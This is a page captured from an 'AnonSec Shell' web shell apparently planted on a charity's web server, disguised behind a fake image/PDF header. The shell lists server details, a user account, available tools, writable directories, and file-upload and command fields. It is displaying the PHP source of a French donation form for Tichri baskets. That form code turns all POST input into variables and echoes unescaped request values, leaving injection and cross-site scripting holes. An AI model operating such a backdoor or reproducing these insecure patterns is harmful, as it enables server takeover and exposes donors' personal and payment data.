%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/www/paniers_tichri.php
<?php
//if(!empty($_GET['ann']) && $_GET['ann']==2013){
	$prix_place=array(20,$_POST['donAuChoix']);
/*}
else
{
	$_GET['ann']=2012;
	$prix_place=array(50,100,150,250);
}*/

// Couleur du texte des champs si erreur saisie utilisateur
$color_font_warn="#FF0000";
// Couleur de fond des champs si erreur saisie utilisateur
$color_form_warn="#FFCC66";
// Ne rien modifier ci-dessous si vous n’&ecirc;tes pas certain de ce que vous faites !
//$list['f_9']=array(0,1,2,3,4,5,6,7,8,9,10,11);
$list['f_9']=array(0);
$list['f_10']=array(0,1);
if(isset($_POST['submite'])){
$erreur="";
// Nettoyage des entr&eacute;es
while(list($var,$val)=each($_POST)){
if(!is_array($val)){
$$var=strip_tags($val);
}else{
while(list($arvar,$arval)=each($val)){
$$var[$arvar]=strip_tags($arval);
}
}
}
// Formatage des entr&eacute;es
$f_1=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_1)));
$f_2=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_2)));
$f_3=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_3)));
$f_4=trim(eregi_replace("[^0-9+]", "", $f_4));
$f_5=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_5)));
$f_6=strip_tags(trim($f_6));
$f_7=trim(eregi_replace("[^0-9\ +]", "", $f_7));
$f_8=trim(eregi_replace("[^0-9\ +]", "", $f_8));
// Verification des champs
if(strlen($f_1)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Nom &raquo; est vide ou incomplet.</span>";
$errf_1=1;
}
if(strlen($f_2)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Pr&eacute;nom: &raquo; est vide ou incomplet.</span>";
$errf_2=1;
}
if(strlen($f_3)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Adresse: &raquo; est vide ou incomplet.</span>";
$errf_3=1;
}
if(strlen($f_4)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Code postal: &raquo; est vide ou incomplet.</span>";
$errf_4=1;
}
if(strlen($f_5)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Ville: &raquo; est vide ou incomplet.</span>";
$errf_5=1;
}
if(strlen($f_6)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; E-mail: &raquo; est vide ou incomplet.</span>";
$errf_6=1;
}else{
if(!ereg('^[-!#$%&\'*+\./0-9=?A-Z^_`a-z{|}~]+'.
'@'.
'[-!#$%&\'*+\/0-9=?A-Z^_`a-z{|}~]+\.'.
'[-!#$%&\'*+\./0-9=?A-Z^_`a-z{|}~]+$',
$f_6)){
$erreur.="<li><span class='txterror'>La syntaxe de votre adresse e-mail n'est pas correcte.</span>";
$errf_6=1;
}
}
if(strlen($f_7)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; T&eacute;l&eacute;phone: &raquo; est vide ou incomplet.</span>";
$errf_7=1;
}
if($erreur==""){
// Cr&eacute;ation du message
$titre="Message de votre site";
$tete="From:Site@Meirpanim.fr\n";
$corps.="Nom : ".$f_1."\n";
$corps.="Pr&eacute;nom: : ".$f_2."\n";
$corps.="Adresse: : ".$f_3."\n";
$corps.="Code postal: : ".$f_4."\n";
$corps.="Ville: : ".$f_5."\n";
$corps.="E-mail: : ".$f_6."\n";
$corps.="T&eacute;l&eacute;phone: : ".$f_7."\n";
$corps.="Portable: : ".$f_8."\n";
$corps.="Nombre de billets &agrave; ".$prix_place[0]."&euro; : ".$list['f_9'][$f_9]."\n";
$corps.="Nombre de billets &agrave; ".$prix_place[1]."&euro; : ".$list['f_10'][$f_10]."\n";
$type_from='panier2022';
if($f_9 == (count($list['f_9'])-1))
	$montant = $prix_place[0]*$nbAuChoix;
else
	$montant = $prix_place[0]*$list['f_9'][$f_9];
$montant += $prix_place[1]*$list['f_10'][$f_10];
//include($_SERVER["DOCUMENT_ROOT"].'/paiement/call_request.php');
/*
if(mail("meirpanim@tobeweb.eu", $titre, stripslashes($corps), $tete)){
$ok_mail="true";
}else{
$erreur.="<li><span class='txterror'>Une erreur est survenue lors de l'envoi du message, veuillez refaire une tentative.</span>";
}
*/
}

}
if(!isset($_POST['submit']) || $erreur!="")
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<style type="text/css" media="screen"><!--
INPUT { color: #000; font-size: 11px; font-family: verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular; background-color: #EEEEEE }
SELECT { color: #000; font-size: 11px; font-family: verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular; background-color: #EEEEEE }
TEXTAREA { color: #000; font-size: 11px; font-family: verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular; background-color: #EEEEEE }
.txterror { color: black; font-size: 11px; font-family: Verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular }
.txtform { color: black; font-size: 12px; font-family: Verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular }
--></style>
<script>
function calc_total()
{
	var p= new Array(<?=$prix_place[0]?>,parseFloat(document.getElementById('donAuChoix').value)<?/*=$prix_place[1]*/?>);
	var tb= new Array('Nombre de places','Ne veut pas participer au tirage mais donne');
	var f=new Array(9,10);
	var total=0;
	var mess='';
	for(var i=0;i<f.length;i++)
	{
		ele=document.getElementsByName('f_'+f[i]);
		for(var j=0;j<ele.length;j++)
		{
			if(ele[j].checked==true) 
			{
				/*if(ele[j].value>1 && !alertPrinted && !$("#commentaire").val()) { alert("Merci de remplir les Informations Complementaires"); alertPrinted=1; }*/
				if(f[i]==9 && j == (ele.length-1))
				{
					total+=(document.getElementById('nbAuChoix').value*p[i]);
					mess=mess + tb[i]+' à '+ p[i]+' Euros: '+document.getElementById('nbAuChoix').value+' - ';
				}
				else
				{
					total+=(ele[j].value*p[i]);
					mess=mess + tb[i]+' à '+ p[i]+' Euros: '+ele[j].value+' - ';
				}
			}
		}
	}
	document.getElementById('total').innerHTML=total;
	document.getElementById('spe_montant').value=total;
	document.getElementById('spe_periodicite').value=mess;
}

//ajout formulaire inscription table de 10
function toggle_div(bouton, id) {
 
  var div = document.getElementById(id);
 
  if(div.style.display=="none") {
 
    div.style.display = "block";
 
  } else {
 
    div.style.display = "none";
 
  }
 
}
//Fin ajout formulaire inscription table de 10

function format_form()
{
	document.getElementById('spe_nom').value=document.getElementsByName('f_1')[0].value;
	document.getElementById('spe_prenom').value=document.getElementsByName('f_2')[0].value;
	document.getElementById('spe_adresse').value=document.getElementsByName('f_3')[0].value;
	document.getElementById('spe_cp').value=document.getElementsByName('f_4')[0].value;
	document.getElementById('spe_ville').value=document.getElementsByName('f_5')[0].value;
	document.getElementById('spe_email').value=document.getElementsByName('f_6')[0].value;
	document.getElementById('spe_tel').value=document.getElementsByName('f_7')[0].value;
	document.getElementById('spe_portable').value=document.getElementsByName('f_8')[0].value;
	document.getElementById('spe_type_don').value='Achat paniers';
	document.getElementById('spe_occasion').value='Paniers 2022';
	return true;
}
</script>
</head>
 
<body>
<?php 
if(isset($_POST['submite']) && $erreur=="") $action = 'https://meirpanim.fr/stripe/public/checkout.php';
else $action = $PHP_SELF;
if($ok_mail=="true") { 
?>
<table width='100%' border='0' cellspacing='1' cellpadding='1'>
<tr><td><span class='txtform'>Le message ci-dessous nous a bien &eacute;t&eacute; transmis, et nous vous en remercions.</span></td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td><tt><?echo nl2br(stripslashes($corps));?></tt></td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td><span class='txtform'>Nous allons y donner suite dans les meilleurs d&eacute;lais.<br>A bientôt.</span></td></tr>
</table>
<? }else{ ?>
<!--<h2>
Campagne de dons - Opération Box Tichri 5783 <br>
</h2>-->

<!--<div style="padding: 15px; text-align: center;">
<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #ff0000; font-size: large;"><strong>Attention ! Avant de régler vos places </strong></span></div>
<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #ff0000; font-size: large;"><strong>SVP assurez vous qu'elles soient disponibles</strong></span></div>
<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #ff0000; font-size: large;"><strong>Téléphonez au 01 42 25 59 27</strong></span></div>
</div>-->
<?php /*
<br>
<div align="center" style="color:red;border: 1px solid red;padding:10px;">
IMPORTANT!
Vous pouvez payer en ligne uniquement pour des places déjà réservées
auprès de l'association.
Si vous n'avez pas encore réservé, il est impératif de téléphoner au bureau
 pour vérifier les disponibilités. Tél: 01.42.25.59.27
</div>
*/?>
<br>

<form action='<? echo $action; ?>' method='post' name='myform' id='myform' onsubmit="format_form();">
<table width='100%' border='0' cellspacing='1' cellpadding='1'>
<? if($erreur){ ?><tr><td colspan='2' bgcolor='red'><span class='txterror'><font color='white'><b>&nbsp;ERREUR, votre message n'a pas &eacute;t&eacute; transmis</b></font></span></td></tr><tr><td colspan='2'><ul><?echo$erreur?></ul></td></tr><?}?>
<tr><td colspan='2'><span class='txterror'>*Les champs marqu&eacute;s d'une &eacute;toile doivent imp&eacute;rativement &ecirc;tre renseign&eacute;s</span></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Nom* :</span></td><td><input type='text' style='width:200 <?if($errf_1==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_1' value='<?echo stripslashes($f_1);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Pr&eacute;nom* :</span></td><td><input type='text' style='width:200 <?if($errf_2==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_2' value='<?echo stripslashes($f_2);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Adresse* :</span></td><td><input type='text' style='width:200 <?if($errf_3==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_3' value='<?echo stripslashes($f_3);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Code postal* :</span></td><td><input type='text' style='width:200 <?if($errf_4==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_4' value='<?echo stripslashes($f_4);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Ville* :</span></td><td><input type='text' style='width:200 <?if($errf_5==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_5' value='<?echo stripslashes($f_5);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>E-mail* :</span></td><td><input type='text' style='width:200 <?if($errf_6==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_6' value='<?echo stripslashes($f_6);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>T&eacute;l&eacute;phone* :</span></td><td><input type='text' style='width:200 <?if($errf_7==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_7' value='<?echo stripslashes($f_7);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Portable :</span></td><td><input type='text' style='width:200 <?if($errf_8==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_8' value='<?echo stripslashes($f_8);?>' size='24' border='0'></td></tr>

<!--Roy-->
<tr><td align='right' width='32%'><span class='txtform'>Nombre de box &agrave; <?=$prix_place[0]?>&euro; :</span></td><td>
<table border='0' cellspacing='0' cellpadding='0'><tr>
<!--<td style="color:red;">PLUS DE PLACES LIBRES</td>-->
<? for($id=0;$id<count($list['f_9']);$id++){
if($id==$f_9 || $id==(count($list['f_9'])-1)) {$ct="checked";}
	echo "<td><label><input ".$ct." type='radio' name='f_9' value=".$id." onclick='calc_total();' border='0' style='display:none;'> ";
if($id==(count($list['f_9'])-1))
	echo " <span class='txtform'><input type='text' value='$nbAuChoix' onkeyup='calc_total();' size=2 id='nbAuChoix' name='nbAuChoix' ></span></label></td>";
else	
	echo " <span class='txtform'>".$list['f_9'][$id]."</span></label></td>";
unset($ct);
}

?>
</tr>
</table>
</td></tr>
<tr><td></td><td align="left" colspan="2" ><label style="display:none;"><input type='radio' name='f_10' id='f_10' value="1" <?php if(1 == $f_10) echo 'checked'; ?> onclick='calc_total();' onmouseup="toggle_div(this,'infodix');" border='0'> Je fais un don de <input type="text" value="<?php if(!empty($_POST['donAuChoix'])) echo $_POST['donAuChoix']; else echo '0';?>"  onkeyup="calc_total();" onmouseup="toggle_div(this,'infodix');" size=2 id="donAuChoix" name="donAuChoix"><?/*=$prix_place[1]*/?>&euro; </label></td></tr>
<?/*
<tr><td align='right' width='30%'><span class='txtform'>Je ne veux pas participer au tirage au sort mais je fais un don de <input type="text" value="" onkeyup="calc_total();" onmouseup="toggle_div(this,'infodix');" id="donAuChoix"><?=$prix_place[1]?>&euro; :</span></td><td>
<table border='0' cellspacing='0' cellpadding='0'><tr>
<!--<td style="color:red;">PLUS DE PLACES LIBRES</td>-->
<? for($id=0;$id<count($list['f_10']);$id++){
if($id==$f_10){$ct="checked";}
print("<td><input ".$ct." type='radio' name='f_10' id='f_10' value=".$id."  onclick='calc_total();' onmouseup='toggle_div(this,'infodix');' border='0'></td><td><span class='txtform'>".$list['f_10'][$id]."</span></td>");
unset($ct);
}
?></tr>
</table> 
</td></tr>
*/?>
<tr><td align='right' width='30%'>Informations Compl&eacute;mentaires</td><td>
<div align="left" style="padding-left:15px;"><!--<h2 style="color:red;">Il n'y a plus de places disponible pour cet evenement. Merci.</h2>--></div>
<div>
<br>
<textarea  style="width:400px; height:150px" id="commentaire" name="commentaire" placeholder=""><?echo stripslashes($_POST['commentaire']);?></textarea></div><br>
<input type='submit' name='submite' value='Envoyer' border='0'>
</td></tr>
</table>
<!--  FORMATAGE -->
<input type="hidden" name="nom" id="spe_nom" value=''>
<input type="hidden" name="prenom" id="spe_prenom" value=''>
<input type="hidden" name="adresse" id="spe_adresse" value=''>
<input type="hidden" name="cp" id="spe_cp" value=''>
<input type="hidden" name="ville" id="spe_ville" value=''>
<input type="hidden" name="tel" id="spe_tel" value=''>
<input type="hidden" name="portable" id="spe_portable" value=''>
<input type="hidden" name="email" id="spe_email" value=''>
<input type="hidden" name="type_don" id="spe_type_don" value=''>
<input type="hidden" name="occasion" id="spe_occasion" value=''>
<input type="hidden" name="periodicite" id="spe_periodicite" value=''>
<input type="hidden" name="montant" id="spe_montant" value=''>
<input type="hidden" name="cancel_return_url" id="cancel_return_url" value='<?=$_GET['ann']?>'>
<!--  FIN FORMATAGE -->


</form>
<? } ?>
<p><b>Total &agrave; payer:</b> <span id="total">0</span> &euro;</p>
<div id="infodix" style="display:none;">Vous devez mettre un montant</div>
<div align="center"><!--
CERFA &egrave; partir d'un total de 100&euro;.--><br>
<?php /*<b>D&egrave;s validation du paiement, vos billets seront &agrave; votre disposition<br> */?>
<?php /*<b>DÈS VALIDATION DU PAIEMENT, UNE CONFIRMATION DE RÉSERVATION NOMINATIVE (QUI SERA EXIGÉE À L'ENTRÉE) VOUS SERA ENVOYÉE, ACCOMPAGNÉE DU CERFA CORRESPONDANT. </b><br> */?>
<?php if(isset($_POST['submite']) && $erreur=="") { 
?>

<script>
	alertPrinted = 1;
	calc_total();
	$('#myform').submit();
</script>

<?php } else { ?>
<script>
alertPrinted = 0;
calc_total();</script>
<?php } ?>
</body>
</html>

Anon7 - 2022
AnonSec Team